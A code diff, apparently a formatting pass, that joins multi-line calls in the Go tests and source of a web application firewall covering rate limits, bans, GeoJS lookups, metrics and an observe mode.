-		if string(got.body) != "ok\n" ||
+		if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
-			got.header.Get("Content-Type") != contentType {
+			t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
-			t.Errorf(
+				"with %q", got.body, got.header.Get("Content-Type"), contentType)
-				"health endpoint answered %q with Content-Type %q, want ok "+
-					"with %q",
-				got.body,
-				got.header.Get("Content-Type"),
-				contentType,
-			)
 		}
 	}
 
@@ -44,12 +34,8 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
 
 	for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
 		if line.ResponseContentType != contentType {
-			t.Errorf(
+			t.Errorf("health check's log line has response_content_type %q, "+
-				"health check's log line has response_content_type %q, "+
+				"want %q", line.ResponseContentType, contentType)
-					"want %q",
-				line.ResponseContentType,
-				contentType,
-			)
 		}
 	}
 }

internal/waf/heuristics.go

@@ -117,10 +117,7 @@ func (rq *request) runHeuristics(
 // after_answer_heuristic_figures name the heuristic that gave a verdict, and
 // give its figures, so that heuristic and heuristic_figures still name the one
 // that refused the request. ctx is the request's own context.
-func (rq *request) runBanningHeuristics(
+func (rq *request) runBanningHeuristics(ctx context.Context, list []heuristic) {
-	ctx context.Context,
-	list []heuristic,
-) {
 	name, v := rq.firstVerdict(ctx, list, rq.h.now())
 	if v != nil {
 		rq.line.AfterAnswerHeuristic = name

internal/waf/history_test.go

@@ -60,11 +60,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
 func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
 	t.Parallel()
 
-	s, _, server := startWithClock(
+	s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
-		t,
-		"",
-		map[string]string{maxTrackedClients: "2"},
-	)
 
 	// The third client drops the least recently seen, the first, with its
 	// history.
@@ -74,12 +70,8 @@ func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
 
 	_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
 	if server.Limiter.Len() != 2 || held {
-		t.Errorf(
+		t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
-			"the table holds %d clients, the first among them: %t; want 2, "+
+			"without it", server.Limiter.Len(), held)
-				"without it",
-			server.Limiter.Len(),
-			held,
-		)
 	}
 }
 
@@ -92,10 +84,7 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
 	})
 	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
 
-	got := do(
+	got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
-		t,
-		newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")),
-	)
 	wantStatus(t, got, http.StatusOK)
 	out.endedLine(t)
 
@@ -109,19 +98,9 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
 func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
 	t.Parallel()
 
-	s, _, server := startWithClock(
+	s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
-		t,
-		"",
-		map[string]string{metricsToken: token},
-	)
 
-	s.ownEndpointRequest(
+	s.ownEndpointRequest("", http.MethodGet, waf.HealthPath, "", http.StatusOK)
-		"",
-		http.MethodGet,
-		waf.HealthPath,
-		"",
-		http.StatusOK,
-	)
 	s.ownEndpointRequest("", http.MethodGet, waf.MetricsPath, "",
 		http.StatusUnauthorized)
 	s.scrape()
@@ -141,8 +120,7 @@ func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
 	out.endedLine(t)
 
 	history := historyOf(t, server, localhost)
-	if history.Requests != 1 || history.Forwarded != 0 ||
+	if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 {
-		history.Refused != 0 {
 		t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
 			"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
 	}

internal/waf/lookup.go

@@ -105,6 +105,5 @@ func setLookupHeaders(header http.Header, asn, country string) {
 // canBePlaced reports whether a lookup can place addr: private, loopback
 // and link-local addresses have no AS number or country.
 func canBePlaced(addr netip.Addr) bool {
-	return !addr.IsPrivate() && !addr.IsLoopback() &&
+	return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast()
-		!addr.IsLinkLocalUnicast()
 }

internal/waf/lookup_test.go

@@ -24,9 +24,7 @@ type asnAndCountry struct{ asn, asName, country string }
 // lookup database.
 const fileSource = "file"
 
-func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
+func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	// The stand-in for GeoJS answers only once released. A request that
@@ -47,10 +45,7 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
 	} {
 		got := asnAndCountry{line.ASN, line.ASName, line.Country}
 		if got != (asnAndCountry{}) {
-			t.Errorf(
+			t.Errorf("log line has %+v before GeoJS answered, want nothing", got)
-				"log line has %+v before GeoJS answered, want nothing",
-				got,
-			)
 		}
 	}
 
@@ -85,12 +80,7 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
 	// GeoJS was asked about each client once, fromKP after fromDE, whose
 	// request was under way when fromKP came.
 	if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) {
-		t.Errorf(
+		t.Errorf("GeoJS was asked about %v, want %s and %s", got, fromDE, fromKP)
-			"GeoJS was asked about %v, want %s and %s",
-			got,
-			fromDE,
-			fromKP,
-		)
 	}
 }
 
@@ -137,9 +127,7 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
 	// for GeoJS. The second request goes on at once, and is counted.
 	clk.advance(2500 * time.Millisecond)
 	server.GeoJS.Load([]lookup.Answer{{
-		Client: netip.MustParsePrefix(
+		Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
-			fromDE + "/32",
-		), ASN: asnDE, ASName: asNameDE,
 		Country: "DE", Answered: clk.Now(), Used: clk.Now(),
 	}})
 	wantStatus(t, do(t, requestFromDE()), http.StatusOK)
@@ -152,12 +140,7 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
 		t.Fatalf("first request: %v", err)
 	}
 
-	wantLine(
+	wantLine(t, out.endedLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
-		t,
-		out.endedLines(t, 2)[1],
-		http.StatusOK,
-		requestlog.ActionForward,
-	)
 
 	// The third request's count holds all three: the first was counted
 	// when it went on, in the minute under way, and the second's count
@@ -166,32 +149,22 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
 	wantStatus(t, do(t, requestFromDE()), http.StatusOK)
 
 	if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 {
-		t.Errorf(
+		t.Errorf("the third request's count in the minute is %v, want 3", got)
-			"the third request's count in the minute is %v, want 3",
-			got,
-		)
 	}
 }
 
-func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(
+func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	geojsURL, _ := startGeoJS(t)
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
 	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
-	addr, out, server, queue := startProxyWithAlerts(
+	addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now,
-		t,
-		app.URL,
-		geojsURL,
-		clk.Now,
 		map[string]string{
 			trustedProxies:     trustLocalhost,
 			alertWebhookURL:    "https://alerts.example/sww",
 			rateLimitPerMinute: "1",
-		},
+		})
-	)
 	s := &sender{t: t, addr: addr, out: out}
 
 	// The answer is kept before the requests, so GeoJS is not asked, and
@@ -240,17 +213,11 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
 	t.Parallel()
 
 	geojsURL, asked := startGeoJS(t)
-	s, clk, server := startWithClock(
+	s, clk, server := startWithClock(t, geojsURL, map[string]string{lookupSource: "off"})
-		t,
-		geojsURL,
-		map[string]string{lookupSource: "off"},
-	)
 
 	// Even an answer kept from before is not used.
 	server.GeoJS.Load([]lookup.Answer{{
-		Client: netip.MustParsePrefix(
+		Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
-			fromDE + "/32",
-		), ASN: asnDE, ASName: asNameDE,
 		Country: "DE", Answered: clk.Now(), Used: clk.Now(),
 	}})
 
@@ -263,13 +230,8 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
 		}
 	}
 
-	if h := historyOf(t, server, fromDE); h.ASN != "" ||
+	if h := historyOf(t, server, fromDE); h.ASN != "" || !h.LookedUp.IsZero() {
-		!h.LookedUp.IsZero() {
+		t.Errorf("history has %q, looked up at %s, want no lookup", h.ASN, h.LookedUp)
-		t.Errorf(
-			"history has %q, looked up at %s, want no lookup",
-			h.ASN,
-			h.LookedUp,
-		)
 	}
 
 	if len(asked()) != 0 {
@@ -277,9 +239,7 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
 	}
 }
 
-func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(
+func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	geojsURL, asked := startGeoJS(t)
@@ -337,9 +297,7 @@ func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(
 	}
 }
 
-func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
+func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	var (
@@ -352,23 +310,15 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
 		defer mu.Unlock()
 
 		got = append(got, [2][]string{
-			r.Header.Values(
+			r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country"),
-				"X-Client-Asn",
-			), r.Header.Values("X-Client-Country"),
 		})
 	})
 	geojsURL, _ := startGeoJS(t)
-	addr, out, _ := startProxyWithClock(
+	addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
-		t,
+		trustedProxies:   trustLocalhost,
-		app.URL,
+		lookupTimeout:    "1h",
-		geojsURL,
+		addLookupHeaders: on,
-		time.Now,
+	})
-		map[string]string{
-			trustedProxies:   trustLocalhost,
-			lookupTimeout:    "1h",
-			addLookupHeaders: on,
-		},
-	)
 	s := &sender{t: t, addr: addr, out: out}
 
 	// Each client sends headers of its own. fromDE's first request waits
@@ -390,9 +340,7 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
 	}
 }
 
-func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
+func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	var (
@@ -404,22 +352,12 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
 		mu.Lock()
 		defer mu.Unlock()
 
-		asn, country = r.Header.Values(
+		asn, country = r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country")
-			"X-Client-Asn",
-		), r.Header.Values(
-			"X-Client-Country",
-		)
 	})
 	geojsURL, _ := startGeoJS(t)
-	addr, out, _ := startProxyWithClock(
+	addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
-		t,
+		trustedProxies: trustLocalhost,
-		app.URL,
+	})
-		geojsURL,
-		time.Now,
-		map[string]string{
-			trustedProxies: trustLocalhost,
-		},
-	)
 	s := &sender{t: t, addr: addr, out: out}
 
 	s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders,
@@ -429,11 +367,8 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
 	defer mu.Unlock()
 
 	if asn != nil || country != nil {
-		t.Errorf(
+		t.Errorf("the app was passed X-Client-ASN %v and X-Client-Country %v, want neither",
-			"the app was passed X-Client-ASN %v and X-Client-Country %v, want neither",
+			asn, country)
-			asn,
-			country,
-		)
 	}
 }
 
@@ -461,11 +396,7 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
 		serveFromDE(t, server, http.MethodGet, http.NoBody)
 
 		if waited := time.Since(began); waited != timeout {
-			t.Errorf(
+			t.Errorf("the request waited %s for its answer, want %s", waited, timeout)
-				"the request waited %s for its answer, want %s",
-				waited,
-				timeout,
-			)
 		}
 
 		// Without an answer, the client is in no country the list allows.

internal/waf/metrics_test.go

@@ -32,13 +32,8 @@ func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
 
 	// An empty token does not match the unset one either.
 	for _, authorization := range []string{bearer, "Bearer ", ""} {
-		s.ownEndpointRequest(
+		s.ownEndpointRequest(authorization, http.MethodGet, waf.MetricsPath, "",
-			authorization,
+			http.StatusNotFound)
-			http.MethodGet,
-			waf.MetricsPath,
-			"",
-			http.StatusNotFound,
-		)
 	}
 }
 
@@ -65,13 +60,7 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
 		{http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound},
 		{http.MethodPost, waf.HealthPath, "", http.StatusNotFound},
 	} {
-		got := s.ownEndpointRequest(
+		got := s.ownEndpointRequest(tc.authorization, tc.method, tc.path, "", tc.status)
-			tc.authorization,
-			tc.method,
-			tc.path,
-			"",
-			tc.status,
-		)
 
 		if tc.status == http.StatusUnauthorized &&
 			got.header.Get("WWW-Authenticate") != "Bearer" {
@@ -80,10 +69,7 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
 		}
 
 		if tc.status == http.StatusOK &&
-			!strings.Contains(
+			!strings.Contains(string(got.body), "# TYPE sww_requests_total counter") {
-				string(got.body),
-				"# TYPE sww_requests_total counter",
-			) {
 			t.Errorf("the metrics are\n%s", got.body)
 		}
 	}
@@ -99,10 +85,7 @@ func TestMetricsCountTheTraffic(t *testing.T) {
 	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
 		map[string]string{metricsToken: token})
 
-	got := do(
+	got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
-		t,
-		newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")),
-	)
 	wantStatus(t, got, http.StatusOK)
 	wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
 	out.endedLines(t, 2)
@@ -149,26 +132,12 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
 	s.get(client, 0, requestlog.ActionClientIsRateLimited)
 
 	metrics := s.scrape()
-	wantMetric(
+	wantMetric(t, metrics,
-		t,
+		`sww_requests_total{action="client_denied",instance="app",status_class="none"}`, 1)
-		metrics,
-		`sww_requests_total{action="client_denied",instance="app",status_class="none"}`,
-		1,
-	)
 	wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
 		`kind="requests",window="minute"}`, 1)
-	wantMetric(
+	wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
-		t,
+	wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
-		metrics,
-		`sww_offences_total{instance="app",kind="limit"}`,
-		1,
-	)
-	wantMetric(
-		t,
-		metrics,
-		`sww_bans_made_total{cause="limit",instance="app"}`,
-		1,
-	)
 	wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
 	wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0)
 
@@ -183,18 +152,8 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
 	metrics = s.scrape()
 	wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
 		`kind="requests",window="minute"}`, 2)
-	wantMetric(
+	wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 2)
-		t,
+	wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 2)
-		metrics,
-		`sww_offences_total{instance="app",kind="limit"}`,
-		2,
-	)
-	wantMetric(
-		t,
-		metrics,
-		`sww_bans_made_total{cause="limit",instance="app"}`,
-		2,
-	)
 	wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
 	wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
 	// denied and client.
@@ -242,14 +201,12 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
 		allowedCountries: "de,fr",
 	}
 	geojsURL, _ := startGeoJS(t)
-	addr, out, server := startProxyWithClock(t, app.URL, geojsURL,
+	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env)
-		time.Now, env)
 
 	// The answers are kept before the requests, so that none waits for
 	// GeoJS.
 	server.GeoJS.Load([]lookup.Answer{
-		keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"),
+		keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"),
-		keptAnswer(fromFR, "FR"),
 	})
 
 	lines := 0
@@ -257,8 +214,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
 		t.Helper()
 
 		for range times {
-			body := strings.NewReader("abc")
+			req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))
-			req := newRequest(t, http.MethodPost, addr, "/", body)
 			req.Header.Set(forwardedFor, from)
 			wantStatus(t, do(t, req), status)
 
@@ -315,9 +271,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
 		`sww_country_request_bytes_total{country="DE",instance="app"}`)
 }
 
-func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(
+func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	geojsURL, _ := startGeoJS(t)
@@ -393,12 +347,7 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
 
 	wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1)
 	wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1)
-	wantMetric(
+	wantMetric(t, metrics, `sww_requests_without_geojs_answer_total{instance="app"}`, 1)
-		t,
-		metrics,
-		`sww_requests_without_geojs_answer_total{instance="app"}`,
-		1,
-	)
 }
 
 // keptAnswer returns GeoJS's answer that the client at addr is in
@@ -432,10 +381,8 @@ func scrape(t *testing.T, addr string) string {
 func (s *sender) scrape() string {
 	s.t.Helper()
 
-	return string(
+	return string(s.ownEndpointRequest(bearer, http.MethodGet, waf.MetricsPath,
-		s.ownEndpointRequest(bearer, http.MethodGet, waf.MetricsPath,
+		"", http.StatusOK).body)
-			"", http.StatusOK).body,
-	)
 }
 
 // metric returns the value of series in metrics, which are in the
@@ -447,10 +394,7 @@ func metric(t *testing.T, metrics, series string) float64 {
 	t.Helper()
 
 	for line := range strings.Lines(metrics) {
-		value, found := strings.CutPrefix(
+		value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ")
-			strings.TrimSuffix(line, "\n"),
-			series+" ",
-		)
 		if !found {
 			continue
 		}

internal/waf/observe_test.go

@@ -67,12 +67,7 @@ func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
 				server.Ledger.Load([]bans.Ban{ban})
 
 				if modeValue == observe {
-					line := s.request(
+					line := s.request(client, tc.path, http.StatusOK, requestlog.ActionForward)
-						client,
-						tc.path,
-						http.StatusOK,
-						requestlog.ActionForward,
-					)
 					wantWouldAction(t, line, tc.want)
 
 					return
@@ -98,21 +93,12 @@ func TestObserveModeNamesAPermanentBanWhoseAlertWouldBeSent(t *testing.T) {
 		Cause:    bans.CauseAttack,
 	}})
 
-	line := s.request(
+	line := s.request(client, "/wp-login.php", http.StatusOK, requestlog.ActionForward)
-		client,
-		"/wp-login.php",
-		http.StatusOK,
-		requestlog.ActionForward,
-	)
 	wantWouldAction(t, line, requestlog.ActionPermanentlyBanned)
 
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
 	if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan {
-		t.Errorf(
+		t.Errorf("alerts waiting are %+v, want one %s", waiting, alerts.EventPermanentBan)
-			"alerts waiting are %+v, want one %s",
-			waiting,
-			alerts.EventPermanentBan,
-		)
 	}
 }
 
@@ -177,22 +163,14 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
 				{fromDE, requestlog.ActionClientIsRateLimited},
 			} {
 				if !tc.observe {
-					line := s.get(
+					line := s.get(sent.from, http.StatusForbidden, sent.refusal)
-						sent.from,
-						http.StatusForbidden,
-						sent.refusal,
-					)
 					wantWouldAction(t, line, "")
 
 					continue
 				}
 
 				// Passed to the app, which answered it.
-				line := s.get(
+				line := s.get(sent.from, http.StatusOK, requestlog.ActionForward)
-					sent.from,
-					http.StatusOK,
-					requestlog.ActionForward,
-				)
 				wantWouldAction(t, line, sent.refusal)
 			}
 		})
@@ -222,16 +200,11 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
 		line := s.get(client, http.StatusOK, requestlog.ActionForward)
 		wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
 
-		if line.LimitHit != minute ||
+		if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
-			line.Offence != requestlog.OffenceLimit ||
 			line.BanExpires != "" {
-			t.Errorf(
+			t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
-				"log line has limit_hit %q, offence %q and ban_expires %q, "+
+				"want minute, limit and none", line.LimitHit, line.Offence,
-					"want minute, limit and none",
+				line.BanExpires)
-				line.LimitHit,
-				line.Offence,
-				line.BanExpires,
-			)
 		}
 	}